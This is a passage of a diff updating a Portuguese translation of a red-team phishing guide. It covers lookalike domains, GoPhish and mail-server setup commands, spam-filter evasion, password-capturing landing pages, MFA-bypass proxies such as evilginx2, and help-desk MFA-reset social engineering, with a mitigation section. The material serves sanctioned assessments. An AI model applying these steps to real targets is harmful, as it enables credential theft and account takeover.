| Quando esse conceito é **aplicado a requisições DNS**, é possível que o **domínio recebido pelo servidor DNS** não seja o mesmo que o domínio inicialmente solicitado. | ||||
| 
 | ||||
| For example, a single bit modification in the domain "windows.com" can change it to "windnws.com." | ||||
| Por exemplo, uma única modificação de bit no domínio "windows.com" pode alterá-lo para "windnws.com." | ||||
| 
 | ||||
| Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure. | ||||
| Atacantes podem **tirar vantagem disso registrando múltiplos domínios bit-flipping** que são similares ao domínio da vítima. A intenção é redirecionar usuários legítimos para sua própria infraestrutura. | ||||
| 
 | ||||
| For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| Para mais informações leia [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) | ||||
| 
 | ||||
| ### Buy a trusted domain | ||||
| ### Comprar um domínio confiável | ||||
| 
 | ||||
| You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ | ||||
| In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: | ||||
| Você pode procurar em [https://www.expireddomains.net/](https://www.expireddomains.net) por um domínio expirado que você poderia usar.\ | ||||
| Para garantir que o domínio expirado que você vai comprar **já tenha um bom SEO** você pode verificar como ele é categorizado em: | ||||
| 
 | ||||
| - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) | ||||
| - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) | ||||
| 
 | ||||
| ## Descobrindo E-mails | ||||
| ## Descobrindo Emails | ||||
| 
 | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% grátis) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% grátis) | ||||
| - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) | ||||
| - [https://phonebook.cz/](https://phonebook.cz) (100% free) | ||||
| - [https://maildb.io/](https://maildb.io) | ||||
| - [https://hunter.io/](https://hunter.io) | ||||
| - [https://anymailfinder.com/](https://anymailfinder.com) | ||||
| 
 | ||||
| Para **descobrir mais** endereços de e-mail válidos ou **verificar os que** você já descobriu você pode checar se consegue brute-force os servidores SMTP da vítima. [Saiba como verificar/descobrir endereços de e-mail aqui](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Além disso, não se esqueça de que, se os usuários usam qualquer portal web para acessar seus e-mails, você pode verificar se ele é vulnerável a username brute force, e explorar a vulnerabilidade se possível. | ||||
| Para **descobrir mais** endereços de email válidos ou **verificar os que** você já descobriu, você pode checar se consegue brute-force nos servidores SMTP da vítima. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ | ||||
| Além disso, não esqueça que se os usuários usam **qualquer web portal para acessar seus mails**, você pode verificar se ele é vulnerável a **username brute force**, e explorar a vulnerabilidade se possível. | ||||
| 
 | ||||
| ## Configurando GoPhish | ||||
| 
 | ||||
| ### Instalação | ||||
| ### Installation | ||||
| 
 | ||||
| Você pode baixá-lo de [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| Você pode baixar em [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) | ||||
| 
 | ||||
| Baixe e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\ | ||||
| Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário fazer um tunnel dessa porta para local: | ||||
| Download e descompacte dentro de `/opt/gophish` e execute `/opt/gophish/gophish`\ | ||||
| Você receberá uma senha para o usuário admin na porta 3333 na saída. Portanto, acesse essa porta e use essas credenciais para alterar a senha do admin. Pode ser necessário tunelar essa porta para local: | ||||
| ```bash | ||||
| ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| ``` | ||||
| @ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip> | ||||
| 
 | ||||
| **Configuração do certificado TLS** | ||||
| 
 | ||||
| Antes desta etapa, você deve **já ter comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando **gophish**. | ||||
| Antes desta etapa, você deve ter **já comprado o domínio** que vai usar e ele deve estar **apontando** para o **IP do VPS** onde você está configurando o **gophish**. | ||||
| ```bash | ||||
| DOMAIN="<domain>" | ||||
| wget https://dl.eff.org/certbot-auto | ||||
| @ -112,7 +112,7 @@ mkdir /opt/gophish/ssl_keys | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem | ||||
| cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt | ||||
| ``` | ||||
| **Mail configuration** | ||||
| **Configuração de e-mail** | ||||
| 
 | ||||
| Comece instalando: `apt-get install postfix` | ||||
| 
 | ||||
| @ -127,9 +127,9 @@ Depois adicione o domínio aos seguintes arquivos: | ||||
| `myhostname = <domain>`\ | ||||
| `mydestination = $myhostname, <domain>, localhost.com, localhost` | ||||
| 
 | ||||
| Por fim modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu nome de domínio e **reinicie seu VPS.** | ||||
| Finalmente, modifique os arquivos **`/etc/hostname`** e **`/etc/mailname`** para o seu domínio e **reinicie seu VPS.** | ||||
| 
 | ||||
| Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **ip address** do VPS e um **DNS MX** apontando para `mail.<domain>` | ||||
| Agora, crie um **DNS A record** de `mail.<domain>` apontando para o **endereço IP** do VPS e um **DNS MX** record apontando para `mail.<domain>` | ||||
| 
 | ||||
| Agora vamos testar o envio de um email: | ||||
| ```bash | ||||
| @ -138,7 +138,7 @@ echo "This is the body of the email" | mail -s "This is the subject line" test@e | ||||
| ``` | ||||
| **Configuração do Gophish** | ||||
| 
 | ||||
| Pare a execução do gophish e vamos configurá-lo.\ | ||||
| Interrompa a execução do gophish e vamos configurá-lo.\ | ||||
| Modifique `/opt/gophish/config.json` para o seguinte (observe o uso de https): | ||||
| ```bash | ||||
| { | ||||
| @ -213,7 +213,7 @@ case $1 in | ||||
| start|stop|status) "$1" ;; | ||||
| esac | ||||
| ``` | ||||
| Conclua a configuração do serviço e verifique-o executando: | ||||
| Finalize a configuração do serviço e verifique-o fazendo: | ||||
| ```bash | ||||
| mkdir /var/log/gophish | ||||
| chmod +x /etc/init.d/gophish | ||||
| @ -224,13 +224,13 @@ service gophish status | ||||
| ss -l | grep "3333\|443" | ||||
| service gophish stop | ||||
| ``` | ||||
| ## Configurando servidor de mail e domínio | ||||
| ## Configurando servidor de email e domínio | ||||
| 
 | ||||
| ### Espere e seja legítimo | ||||
| ### Aguarde e seja legítimo | ||||
| 
 | ||||
| Quanto mais antigo for um domínio, menos provável será que ele seja marcado como spam. Portanto você deve esperar o máximo de tempo possível (pelo menos 1 semana) antes da avaliação de phishing. Além disso, se você colocar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor. | ||||
| Quanto mais antigo for um domínio, menos provável que ele seja marcado como spam. Portanto, você deve esperar o máximo possível (pelo menos 1 semana) antes do phishing assessment. Além disso, se você publicar uma página relacionada a um setor com boa reputação, a reputação obtida será melhor. | ||||
| 
 | ||||
| Note que mesmo que você tenha que esperar uma semana, você pode finalizar a configuração de tudo agora. | ||||
| Observe que, mesmo que você precise esperar uma semana, pode terminar de configurar tudo agora. | ||||
| 
 | ||||
| ### Configure o registro Reverse DNS (rDNS) | ||||
| 
 | ||||
| @ -238,21 +238,21 @@ Defina um registro rDNS (PTR) que resolva o endereço IP do VPS para o nome de d | ||||
| 
 | ||||
| ### Sender Policy Framework (SPF) Record | ||||
| 
 | ||||
| You must **configure a SPF record for the new domain**. If you don't know what is a SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| Você deve **configurar um SPF record para o novo domínio**. Se você não sabe o que é um SPF record [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). | ||||
| 
 | ||||
| You can use [https://www.spfwizard.net/](https://www.spfwizard.net) to generate your SPF policy (use the IP of the VPS machine) | ||||
| Você pode usar [https://www.spfwizard.net/](https://www.spfwizard.net) para gerar sua política SPF (use o IP da máquina VPS) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| Este é o conteúdo que deve ser definido dentro de um registro TXT no domínio: | ||||
| Este é o conteúdo que deve ser definido dentro de um TXT record no domínio: | ||||
| ```bash | ||||
| v=spf1 mx a ip4:ip.ip.ip.ip ?all | ||||
| ``` | ||||
| ### Registro DMARC (Domain-based Message Authentication, Reporting & Conformance) | ||||
| ### Autenticação, Relatórios e Conformidade Baseadas em Domínio (DMARC) — Registro | ||||
| 
 | ||||
| Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). | ||||
| 
 | ||||
| Você deve criar um novo registro DNS TXT apontando o nome de host `_dmarc.<domain>` com o seguinte conteúdo: | ||||
| Você precisa criar um novo registro DNS TXT apontando o hostname `_dmarc.<domain>` com o seguinte conteúdo: | ||||
| ```bash | ||||
| v=DMARC1; p=none | ||||
| ``` | ||||
| @ -260,7 +260,7 @@ v=DMARC1; p=none | ||||
| 
 | ||||
| Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). | ||||
| 
 | ||||
| Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Você precisa concatenar ambos os valores B64 que a chave DKIM gera: | ||||
| @ -272,12 +272,12 @@ Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/h | ||||
| ### Test your email configuration score | ||||
| 
 | ||||
| Você pode fazer isso usando [https://www.mail-tester.com/](https://www.mail-tester.com)\ | ||||
| Basta acessar a página e enviar um e-mail para o endereço que eles fornecem: | ||||
| Basta acessar a página e enviar um e-mail para o endereço que eles informam: | ||||
| ```bash | ||||
| echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com | ||||
| ``` | ||||
| Você também pode **verificar sua configuração de e-mail** enviando um e-mail para `check-auth@verifier.port25.com` e **lendo a resposta** (para isso você precisará **abrir** a porta **25** e ver a resposta no arquivo _/var/mail/root_ se enviar o e-mail como root).\ | ||||
| Verifique se você passa todos os testes: | ||||
| Você também pode **verificar sua configuração de email** enviando um email para `check-auth@verifier.port25.com` e **ler a resposta** (para isso você precisará **abrir** port **25** e ver a resposta no arquivo _/var/mail/root_ se você enviar o email como root).\ | ||||
| Verifique se você passou em todos os testes: | ||||
| ```bash | ||||
| ========================================================== | ||||
| Summary of Results | ||||
| @ -288,40 +288,40 @@ DKIM check:         pass | ||||
| Sender-ID check:    pass | ||||
| SpamAssassin check: ham | ||||
| ``` | ||||
| Você também pode enviar uma **mensagem para um Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`. | ||||
| Você também pode enviar uma **mensagem para uma conta Gmail sob seu controle**, e verificar os **cabeçalhos do e-mail** na sua caixa de entrada do Gmail, `dkim=pass` deve estar presente no campo de cabeçalho `Authentication-Results`. | ||||
| ``` | ||||
| Authentication-Results: mx.google.com; | ||||
| spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; | ||||
| dkim=pass header.i=@example.com; | ||||
| ``` | ||||
| ### Removendo da Lista Negra do Spamhouse | ||||
| ### Removendo da Spamhouse Blacklist | ||||
| 
 | ||||
| A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo Spamhouse. Você pode solicitar a remoção do seu domínio/IP em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se o seu domínio está sendo bloqueado pelo spamhouse. Você pode solicitar que seu domínio/IP seja removido em: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) | ||||
| 
 | ||||
| ### Removendo da Lista Negra da Microsoft | ||||
| ### Removendo da Microsoft Blacklist | ||||
| 
 | ||||
| Você pode solicitar a remoção do seu domínio/IP em [https://sender.office.com/](https://sender.office.com). | ||||
| Você pode solicitar que seu domínio/IP seja removido em [https://sender.office.com/](https://sender.office.com). | ||||
| 
 | ||||
| ## Criar & Lançar Campanha GoPhish | ||||
| ## Criar & Lançar GoPhish Campaign | ||||
| 
 | ||||
| ### Perfil de Envio | ||||
| 
 | ||||
| - Defina um **nome para identificar** o perfil do remetente | ||||
| - Decida de qual conta você vai enviar os phishing emails. Sugestões: _noreply, support, servicedesk, salesforce..._ | ||||
| - Você pode deixar em branco o username e a password, mas certifique-se de marcar o Ignore Certificate Errors | ||||
| - Decida de qual conta você irá enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._ | ||||
| - Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar "Ignore Certificate Errors" | ||||
| 
 | ||||
|  (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Recomenda-se usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\ | ||||
| > Recomendo **enviar os emails de teste para endereços 10min mails** para evitar ficar na blacklist ao realizar os testes. | ||||
| > É recomendado usar a funcionalidade "**Send Test Email**" para testar se tudo está funcionando.\ | ||||
| > Recomendo **enviar os emails de teste para endereços 10min mail** para evitar ser blacklisted ao realizar os testes. | ||||
| 
 | ||||
| ### Email Template | ||||
| 
 | ||||
| - Defina um **nome para identificar** o template | ||||
| - Depois escreva um **subject** (nada estranho, apenas algo que você esperaria ler em um email normal) | ||||
| - Em seguida escreva um **assunto** (nada estranho, apenas algo que você esperaria ler em um email comum) | ||||
| - Certifique-se de que marcou "**Add Tracking Image**" | ||||
| - Escreva o **template do email** (você pode usar variáveis como no exemplo a seguir): | ||||
| - Escreva o **modelo de email** (você pode usar variáveis como no exemplo a seguir): | ||||
| ```html | ||||
| <html> | ||||
| <head> | ||||
| @ -340,56 +340,56 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY | ||||
| </body> | ||||
| </html> | ||||
| ``` | ||||
| Note que, **para aumentar a credibilidade do email**, é recomendado usar alguma assinatura presente em um email do cliente. Sugestões: | ||||
| Observe que, **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura retirada de um e-mail do cliente. Sugestões: | ||||
| 
 | ||||
| - Envie um email para um **endereço inexistente** e verifique se a resposta contém alguma assinatura. | ||||
| - Procure por **emails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um email para eles e aguarde a resposta. | ||||
| - Tente contactar **algum email válido descoberto** e aguarde a resposta | ||||
| - Envie um e-mail para um **endereço inexistente** e verifique se a resposta contém alguma assinatura. | ||||
| - Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie-lhes um e-mail aguardando a resposta. | ||||
| - Tente contatar **algum e-mail válido descoberto** e aguarde a resposta | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > O Modelo de Email também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [leia esta página](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| > O Email Template também permite **anexar arquivos para enviar**. Se você também quiser roubar desafios NTLM usando alguns arquivos/documentos especialmente criados [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). | ||||
| 
 | ||||
| ### Landing Page | ||||
| 
 | ||||
| - Escreva um **nome** | ||||
| - **Escreva o código HTML** da página web. Note que você pode **importar** páginas web. | ||||
| - Marque **Capture Submitted Data** e **Capture Passwords** | ||||
| - Defina uma **redireção** | ||||
| - Defina uma **redirection** | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até que fique satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\ | ||||
| > Note que se você precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_ | ||||
| > Normalmente você precisará modificar o código HTML da página e fazer alguns testes localmente (talvez usando algum servidor Apache) **até ficar satisfeito com os resultados.** Depois, cole esse código HTML na caixa.\ | ||||
| > Note que se precisar **usar alguns recursos estáticos** para o HTML (talvez alguns arquivos CSS e JS) você pode salvá-los em _**/opt/gophish/static/endpoint**_ e então acessá-los a partir de _**/static/\<filename>**_ | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Para a redireção você poderia **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar um **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**. | ||||
| > Para a redirection você pode **redirecionar os usuários para a página principal legítima** da vítima, ou redirecioná-los para _/static/migration.html_ por exemplo, colocar uma **spinning wheel (**[**https://loading.io/**](https://loading.io)**) por 5 segundos e então indicar que o processo foi bem-sucedido**. | ||||
| 
 | ||||
| ### Users & Groups | ||||
| 
 | ||||
| - Defina um nome | ||||
| - **Importe os dados** (note que, para usar o template do exemplo, você precisa do firstname, last name e email address de cada usuário) | ||||
| - **Importe os dados** (note que para usar o template do exemplo você precisa do primeiro nome, sobrenome e endereço de e-mail de cada usuário) | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| ### Campaign | ||||
| 
 | ||||
| Finalmente, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas | ||||
| Por fim, crie uma campanha selecionando um nome, o email template, a landing page, a URL, o sending profile e o grupo. Note que a URL será o link enviado às vítimas | ||||
| 
 | ||||
| Note que o **Sending Profile permite enviar um email de teste para ver como ficará o email de phishing final**: | ||||
| Note que o **Sending Profile permite enviar um e-mail de teste para ver como ficará o e-mail de phishing final**: | ||||
| 
 | ||||
| .png>) | ||||
| 
 | ||||
| > [!TIP] | ||||
| > Eu recomendaria **enviar os emails de teste para endereços 10min mails** para evitar ser listado em blacklists ao fazer testes. | ||||
| > Eu recomendaria **enviar os e-mails de teste para endereços 10min mails** para evitar ser blacklisted durante os testes. | ||||
| 
 | ||||
| Uma vez que tudo esteja pronto, basta lançar a campanha! | ||||
| Uma vez que tudo esteja pronto, apenas lance a campanha! | ||||
| 
 | ||||
| ## Website Cloning | ||||
| 
 | ||||
| Se, por qualquer motivo, você quiser clonar o website verifique a página a seguir: | ||||
| Se por algum motivo você quiser clonar o website, confira a seguinte página: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| @ -398,7 +398,7 @@ clone-a-website.md | ||||
| 
 | ||||
| ## Backdoored Documents & Files | ||||
| 
 | ||||
| Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez apenas algo que dispare uma autenticação).\ | ||||
| Em algumas avaliações de phishing (principalmente para Red Teams) você também vai querer **enviar arquivos contendo algum tipo de backdoor** (talvez um C2 ou talvez algo que apenas dispare uma autenticação).\ | ||||
| Confira a página a seguir para alguns exemplos: | ||||
| 
 | ||||
| 
 | ||||
| @ -410,53 +410,53 @@ phishing-documents.md | ||||
| 
 | ||||
| ### Via Proxy MitM | ||||
| 
 | ||||
| O ataque anterior é bastante esperto pois você está falsificando um website real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não colocou a senha correta ou se a aplicação que você falsificou está configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**. | ||||
| O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações inseridas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se a aplicação que você falsificou estiver configurada com 2FA, **essas informações não permitirão que você se passe pelo usuário enganado**. | ||||
| 
 | ||||
| É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permite gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma: | ||||
| É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Essa ferramenta permitirá gerar um ataque MitM. Basicamente, o ataque funciona da seguinte forma: | ||||
| 
 | ||||
| 1. Você **impersona o formulário de login** da página real. | ||||
| 2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as encaminha para a página real, **verificando se as credenciais funcionam**. | ||||
| 3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, assim que o **usuário o introduzir**, a ferramenta o enviará para a página web real. | ||||
| 4. Uma vez que o usuário esteja autenticado você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação enquanto a ferramenta realiza o MitM. | ||||
| 1. Você **se passa pelo formulário de login** da página real. | ||||
| 2. O usuário **envia** suas **credentials** para sua página falsa e a ferramenta envia essas credenciais para a página real, **verificando se as credentials funcionam**. | ||||
| 3. Se a conta estiver configurada com **2FA**, a página MitM solicitará o código e, uma vez que o **usuário o introduza**, a ferramenta o enviará para a página real. | ||||
| 4. Uma vez que o usuário esteja autenticado, você (como atacante) terá **capturado as credentials, o 2FA, os cookies e qualquer informação** de cada interação enquanto a ferramenta está realizando o MitM. | ||||
| 
 | ||||
| ### Via VNC | ||||
| 
 | ||||
| E se, em vez de **enviar a vítima para uma página maliciosa** com o mesmo visual da original, você a enviar para uma **sessão VNC com um browser conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\ | ||||
| E se, ao invés de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a encaminhar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ela faz, roubar a senha, o MFA usado, os cookies...\ | ||||
| Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) | ||||
| 
 | ||||
| ## Detecting the detection | ||||
| 
 | ||||
| Obviamente uma das melhores maneiras de saber se você foi pego é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ | ||||
| Uma forma simples de verificar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com) | ||||
| Obviamente uma das melhores formas de saber se você foi descoberto é **procurar seu domínio em blacklists**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ | ||||
| Uma maneira fácil de checar se seu domínio aparece em alguma blacklist é usar [https://malwareworld.com/](https://malwareworld.com) | ||||
| 
 | ||||
| No entanto, há outras maneiras de saber se a vítima está **ativamente procurando por atividade suspeita de phishing na rede** como explicado em: | ||||
| No entanto, existem outras formas de saber se a vítima está **ativamente procurando por atividades suspeitas de phishing na internet**, como explicado em: | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| detecting-phising.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação DNS ou HTTP com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito discreto. | ||||
| Você pode **comprar um domínio com um nome muito similar** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de interação **DNS ou HTTP** com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e precisará ser muito stealth. | ||||
| 
 | ||||
| ### Evaluate the phishing | ||||
| 
 | ||||
| Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu email vai acabar na pasta de spam, se será bloqueado ou se terá sucesso. | ||||
| Use [**Phishious** ](https://github.com/Rices/Phishious) para avaliar se seu e-mail irá para a pasta de spam, se será bloqueado ou se terá sucesso. | ||||
| 
 | ||||
| ## High-Touch Identity Compromise (Help-Desk MFA Reset) | ||||
| 
 | ||||
| Conjuntos de intrusão modernos cada vez mais pulam iscas por email inteiramente e **diretamente miram o fluxo de trabalho do service-desk / identity-recovery** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possui credenciais válidas ele pivota com ferramentas administrativas nativas – nenhum malware é necessário. | ||||
| Conjuntos de intrusão modernos cada vez mais pulam iscas por e-mail inteiramente e **miram diretamente o serviço de suporte / fluxo de recuperação de identidade** para derrotar MFA. O ataque é totalmente "living-off-the-land": uma vez que o operador possua credentials válidas, ele pivota com ferramentas administrativas embutidas – nenhum malware é necessário. | ||||
| 
 | ||||
| ### Attack flow | ||||
| 1. Recon da vítima | ||||
| * Colete detalhes pessoais & corporativos do LinkedIn, vazamentos de dados, GitHub público, etc. | ||||
| * Identifique identidades de alto valor (executivos, TI, finanças) e enumere o **processo exato do help-desk** para reset de senha / MFA. | ||||
| 2. Social engineering em tempo real | ||||
| * Ligue por telefone, Teams ou chat para o help-desk enquanto se faz passar pelo alvo (frequentemente com **spoofed caller-ID** ou **cloned voice**). | ||||
| * Forneça os PII coletados anteriormente para passar na verificação baseada em conhecimento. | ||||
| * Convença o agente a **resetar o segredo do MFA** ou realizar um **SIM-swap** em um número móvel registrado. | ||||
| * Colete detalhes pessoais & corporativos do LinkedIn, breaches de dados, GitHub público, etc. | ||||
| * Identifique identidades de alto valor (executivos, TI, financeiro) e enumere o **exato processo de help-desk** para reset de senha / MFA. | ||||
| 2. Engenharia social em tempo real | ||||
| * Ligue, use Teams ou chat com o help-desk enquanto se passa pela vítima (frequentemente com **caller-ID spoofado** ou **voz clonada**). | ||||
| * Forneça o PII coletado anteriormente para passar pela verificação baseada em conhecimento. | ||||
| * Convença o agente a **resetar o segredo MFA** ou realizar um **SIM-swap** em um número de celular registrado. | ||||
| 3. Ações imediatas pós-acesso (≤60 min em casos reais) | ||||
| * Estabeleça um foothold através de qualquer web SSO portal. | ||||
| * Enumere AD / AzureAD com ferramentas nativas (nenhum binário é dropado): | ||||
| * Estabeleça um foothold através de qualquer portal web SSO. | ||||
| * Enumere AD / AzureAD com ferramentas embutidas (nenhum binário dropado): | ||||
| ```powershell | ||||
| # list directory groups & privileged roles | ||||
| Get-ADGroup -Filter * -Properties Members | ?{$_.Members -match $env:USERNAME} | ||||
| @ -467,56 +467,56 @@ Get-MgDirectoryRole | ft DisplayName,Id | ||||
| # Enumerate devices the account can login to | ||||
| Get-MgUserRegisteredDevice -UserId <user@corp.local> | ||||
| ``` | ||||
| * Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos de **RMM** já liberados no ambiente. | ||||
| * Movimento lateral com **WMI**, **PsExec**, ou agentes legítimos **RMM** já whitelistados no ambiente. | ||||
| 
 | ||||
| ### Detection & Mitigation | ||||
| * Trate a recuperação de identidade pelo help-desk como uma **operação privilegiada** – exija step-up auth & aprovação do gerente. | ||||
| * Implemente regras de **Identity Threat Detection & Response (ITDR)** / **UEBA** que alertem sobre: | ||||
| * Método de MFA alterado + autenticação de novo dispositivo / geo. | ||||
| * Trate a recuperação de identidade do help-desk como uma **operação privilegiada** – exija step-up auth & aprovação do gerente. | ||||
| * Implemente **Identity Threat Detection & Response (ITDR)** / regras **UEBA** que alertem sobre: | ||||
| * Método de MFA alterado + autenticação a partir de novo dispositivo / geolocalização. | ||||
| * Elevação imediata do mesmo principal (user-→-admin). | ||||
| * Grave chamadas do help-desk e exija um **call-back para um número já registrado** antes de qualquer reset. | ||||
| * Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas não herdem automaticamente tokens de alto privilégio. | ||||
| * Implemente **Just-In-Time (JIT) / Privileged Access** para que contas recém-resetadas **não** herdem automaticamente tokens de alto privilégio. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## At-Scale Deception – SEO Poisoning & “ClickFix” Campaigns | ||||
| Grupos commodity compensam o custo de operações de alto contato com ataques em massa que transformam **motores de busca & redes de anúncios no canal de entrega**. | ||||
| Grupos commodity compensam o custo de operações high-touch com ataques em massa que transformam **mecanismos de busca & redes de anúncios no canal de entrega**. | ||||
| 
 | ||||
| 1. **SEO poisoning / malvertising** empurra um resultado falso como `chromium-update[.]site` para os anúncios de topo. | ||||
